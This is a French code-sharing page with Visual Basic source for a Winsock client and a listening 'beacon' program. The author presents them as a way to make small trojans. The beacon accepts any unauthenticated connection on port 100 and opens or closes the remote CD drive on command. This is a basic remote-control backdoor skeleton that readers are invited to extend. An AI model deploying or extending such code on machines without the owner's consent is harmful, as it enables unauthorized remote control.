Fonctionnement de winsock

Description

Petite explication du contrpôle Winsock
permettant entre autres de faire des p'tits trojans

Source / Exemple :


'*********************************************************************************
'
' PROGRAMME DE CONTROLE :
'
' By JejeSoftware® de Grossoft® Inc.
'
' Description = LOGICIEL DE CONTROLE D'UN PC DISTANT VIA UN PROGRAMME BALISE
'
' Tester sur reseau local = Test OK
'
'Liste des objects du projet :
'
' [Nom de l'objet] = description
'
' Textbox :
'TNP = contenant : @IP ou hostname
'TP  = contenant : N° du port
'
' Label utilisé :
'LE = contenant : Etat de la connection
'LD = contenant : Message de l'ordinateur distant
'
' Contrôle winsock :
'W = Un ctrl Winsock
'
' Timer
'Timer1 = Verifie l'etat de la connection
'
' Bouton (Command) :
'BtnConnect   = Bouton qui permet de ce connecter au PC distant
'BtnDeconnect = Bouton qui deconnecte la liaison établie entre les 2 PCs
'BtnCDO = Permet d'ouvrir le CDRom du PC distant
'BtnCDF = Permet de fermer le CDRom du PC distant
'BtnQuitter = Ferme la liaison et quitte le programme

Private Function Pause(ByVal nbSecondes As Single)
 Dim Tmp As Single
 Tmp = Timer
   Do While Timer < Tmp + nbSecondes
     DoEvents
   Loop
End Function

Private Sub BtnCDF_Click()
BtnCDO.Enabled = True
Dim strData
'S'il n'y a pas de connection alors quitte
 If W.State <> 7 Then Exit Sub
 strData = "/CDF"
'Envoi la variable au PC distant
  W.SendData strData
End Sub

Private Sub BtnCDO_Click()
BtnCDO.Enabled = False
Dim strData
'S'il n'y a pas de connection alors quitte
 If W.State <> 7 Then Exit Sub
 strData = "/CDO"
'Envoi la variable au PC distant
  W.SendData strData
End Sub

Private Sub BtnConnect_Click()
BtnConnect.Enabled = False
If TNP.Text = "" Then Exit Sub
If TP.Text = "" Then Exit Sub
'ferme au cas ou il y a dejà une connection établie
 W.Close
'Ce connecte à TNP.text en passant par le port TP.text
 W.Connect TNP.Text, TP.Text
End Sub

Private Sub BtnDeconnect_Click()
BtnConnect.Enabled = True
 W.Close
End Sub

Private Sub BtnQuitter_Click()
 W.Close
 End
End Sub

Private Sub Check1_Click()
 If Check1.Value = 1 Then GoTo OK
 If Check1.Value = 0 Then GoTo PAS
OK:
 TP.Text = "100"
 TP.Enabled = False
 GoTo Fin
PAS:
 TP.Enabled = True
 GoTo Fin
Fin:
End Sub

Private Sub Form_Load()
 Timer1.Interval = 10
End Sub

Private Sub Timer1_Timer()
If W.State = 0 Then LE.Caption = "Port Fermé" & vbCrLf & "Aucune connection active"
If W.State = 1 Then LE.Caption = "Port Ouvert"
If W.State = 2 Then LE.Caption = "À l'écoute"
If W.State = 3 Then LE.Caption = "Connexion en attente"
If W.State = 4 Then LE.Caption = "Recherche du PC Distant" & vbCrLf & "Patienter..."
If W.State = 5 Then LE.Caption = "PC Distant trouvé" & vbCrLf & "Connection..."
If W.State = 6 Then LE.Caption = "En cours de connexion" & vbCrLf & "Patienter..."
If W.State = 7 Then LE.Caption = "Connecté au PC Distant"
If W.State = 8 Then LE.Caption = "Fermeture de la connexion par le PC Distant"
If W.State = 9 Then LE.Caption = "Connexion Impossible !!!" & vbCrLf & "PC Distant Eteint ou Inaccessible"
If W.State = 8 Then W.Close
End Sub

Private Sub W_DataArrival(ByVal bytesTotal As Long)
 Dim strData As String
'prends les données reçués et les mets dans une variable
  W.GetData strData
'LD affiche la variable
  LD.Caption = strData
End Sub

'*********************************************************************************
' PROGRAMME BALISE
'
' By JejeSoftware® de Grossoft® Inc.
'
' Description = PROGRAMME BALISE UTILISE PAR LE LOGICIEL DE CONTROLE
'
' Tester sur reseau local = Test OK
'
'Liste des objects du projet :
'
' [Nom de l'objet] = description
'
' Label :
'LE = contenant : Etat de la connection
'
' Contrôle winsock :
'W = Un ctrl Winsock
'
' Timer
'Timer1 = Verifie l'etat de la connection

'Function permettant d'ouvrir ou de fermer le lecteur de CDRom
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal pstrReturnString As String, ByVal uReturnLength As Long, ByVal wndCallback As Long) As Long
Private Sub Form_Load()
'defini le n°du port
 W.LocalPort = "100"
'met le port à l'ecoute
 W.Listen
 Timer1.Interval = 10
End Sub

Private Sub Timer1_Timer()
If W.State = 0 Then LE.Caption = "Port Fermé" & vbCrLf & "Aucune connection active"
If W.State = 1 Then LE.Caption = "Port Ouvert"
If W.State = 2 Then LE.Caption = "À l'écoute"
If W.State = 3 Then LE.Caption = "Connexion en attente"
If W.State = 4 Then LE.Caption = "Recherche du PC Distant" & vbCrLf & "Patienter..."
If W.State = 5 Then LE.Caption = "PC Distant trouvé" & vbCrLf & "Connection..."
If W.State = 6 Then LE.Caption = "En cours de connexion" & vbCrLf & "Patienter..."
If W.State = 7 Then LE.Caption = "Connecté au PC Distant"
If W.State = 8 Then LE.Caption = "Fermeture de la connexion par le PC Distant"
If W.State = 9 Then LE.Caption = "Connexion Impossible !!!" & vbCrLf & "PC Distant Eteint ou Inaccessible"
If W.State = 8 Then W.Close
End Sub

Private Sub W_DataArrival(ByVal bytesTotal As Long)
Dim Tmp As String
Dim strData As String
 W.GetData strData
'si /CDO (ouvrir CDRom) alors ouvrir CDROM
 If strData = "/CDO" Then GoTo Ouvrir
'si /CDF (fermer CDRom) alors fermer CDROM
 If strData = "/CDF" Then GoTo Fermer
'sinon va à Fin:
GoTo Fin
Ouvrir:
 mciSendString "set CDAudio door open", sRet, 127, 0
Tmp = "Lecteur CDRom OUVERT"
 If W.State = 7 Then W.SendData Tmp
GoTo Fin
Fermer:
 mciSendString "set CDAudio door closed", sRet, 127, 0
Tmp = "Lecteur CDRom FERME"
 If W.State = 7 Then W.SendData Tmp
GoTo Fin
Fin:
End Sub

Private Sub W_ConnectionRequest(ByVal requestID As Long)
'Si connection alors deconnection
If W.State <> 0 Then W.Close
'Accepte nouvelle connection
W.Accept requestID
End Sub

Conclusion :


Prenez mes sources et modifier-les a votre gise

Bonne prise de tête !!!

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.